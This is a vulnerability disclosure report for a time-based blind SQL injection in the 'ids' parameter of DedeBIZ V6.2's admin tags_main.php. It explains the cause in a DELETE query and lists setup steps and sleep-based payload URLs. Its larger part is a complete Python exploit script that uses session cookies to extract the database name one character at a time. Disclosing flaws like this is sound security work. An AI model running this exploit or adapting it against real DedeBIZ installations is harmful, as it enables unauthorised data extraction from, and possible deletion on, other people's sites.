SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/tags_main.php

[yhy217]

[Suggested description]
SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/tags_main.php

[Vulnerability Type]
SQL INJECTION

[Vendor of Product]
https://github.com/DedeBIZ/DedeV6

[Affected Product Code Base]
DedeBIZ V6.2

[Affected Component]
File： /src/admin/tags_main.php
Parameter： ids

[Attack Type]
Remote

[Cause of vulnerability]
in /src/admin/tags_main.php,there is possibility of sql injection is the sql statement "$query = "DELETE FROM #@__tagindex WHERE id IN ($stringids)";"

$stringids is assigned by $ids, and $ids receives the parameter value in the request http://localhost:8086/admin/tags_main.php?action=delete&ids=(select sleep(2)).Therefore, the value of $ids can be constructed to perform time blind injection.

It should be noted that the sql statement here requires data to exist in the queried data table for sql injection to exist. The data table here stores the characteristic characters of the articles in the site, so articles need to exist in the site for this data table to have data.

[Vulnerability demonstration]
If it is an original site, in order to make the data table mentioned above have data, you need to perform the following steps (usually the data tables of sites on the Internet have data, because the site you are using will definitely have articles. , there will also be article key characters):
1.Create article categories to create articles later in http://localhost:8086/admin/catalog_add.php?listtype=all. Write test character "test" in "中文名称" to create article categories.

2.create articles in http://localhost:8086/admin/article_add.php,choose "test" in "发布栏目" and write "test_article" in "文档标题" and write "a" in "标签" so that you can create article.

3.After the above steps,it is able to perform sql injection
First ,fetch your cookies in order to make sure the sql injection can be performed successfully.

payload: http://localhost:8086/admin/tags_main.php?action=delete&ids=if(length(database())>0,sleep(3),666)
Second ,access http://localhost:8086/admin/tags_main.php?action=delete&ids=if(length(database())>0,sleep(3),666)
you will find that there is truely delay when accessing

4.Because the payload here is quite special, sqlmap takes more time to complete the injection, so a python script is used to inject it.
Write a python script to perform blind SQL injection. The python script is given below (remember to change the url and cookies to yours)
python script is here:https://github.com/yhy217/dedebiz--vul/blob/main/time_injection.zip
or you can use the python code

import requests
import time

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
length=0
for l in range(1,20):
    Url = 'http://localhost:8086/admin/tags_main.php?action=delete&ids=if(length(database())>{0},666,sleep(3))'
    #replace with your url, here keep the '666' in payload if(length(database())>{0},666,sleep(3)) in order not to delete the tags
    UrlFormat = Url.format(l)
    start_time0 = time.time()
    cookies = {
		"dede_csrf_token": "89fbfaabddf9fbc14a2fc148606818ff",
		"dede_csrf_token__ckMd5": "0fe49927c42c854a",
		"DedeLoginTime": "1695266280",
		"DedeLoginTime__ckMd5": "29e695100a28380a",
		"DedeStUUID": "7bf8a37cf0ee8",
		"DedeStUUID__ckMd5": "da06278b80034043",
		"DedeUserID": "1",
		"DedeUserID__ckMd5": "b55b6fbf67e0257e",
		"ENV_GOBACK_URL": "/admin/content_list.php",
		"PHPSESSID": "3r1etgf62m34mf1kqqt8r3pfi6",
	}#replace with your cookies here

    requests.get(UrlFormat,headers=headers,cookies=cookies)
    print(time.time()-start_time0)
    if  time.time() - start_time0 > 2:
            print('database length is ' + str(l))
            length=l;
            break
    else:
        pass
for i in range(1,length+1):
    for char in chars:
        charAscii = ord(char)
        url = 'http://localhost:8086/admin/tags_main.php?action=delete&ids=if(ascii(substr(database(),{0},1))>{1},666,sleep(3))'
        # replace with your url, here keep the '666' in payload if(length(database())>{0},666,sleep(3)) in order not to delete the tags
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        cookies = {
            "dede_csrf_token": "89fbfaabddf9fbc14a2fc148606818ff",
		    "dede_csrf_token__ckMd5": "0fe49927c42c854a",
		    "DedeLoginTime": "1695266280",
		    "DedeLoginTime__ckMd5": "29e695100a28380a",
		    "DedeStUUID": "7bf8a37cf0ee8",
		    "DedeStUUID__ckMd5": "da06278b80034043",
		    "DedeUserID": "1",
		    "DedeUserID__ckMd5": "b55b6fbf67e0257e",
		    "ENV_GOBACK_URL": "/admin/content_list.php",
		    "PHPSESSID": "3r1etgf62m34mf1kqqt8r3pfi6",

        }#replace with your cookies here
        requests.get(urlformat,headers=headers,cookies=cookies)
        if  time.time() - start_time > 2:
            database+=char
            print('database: ',database)
            break
        else:
            pass
print('database is ' + database)

5.successfully obtained the current database name using python script

thanks for reading so much.it is the first time for me to write so much about sql injection.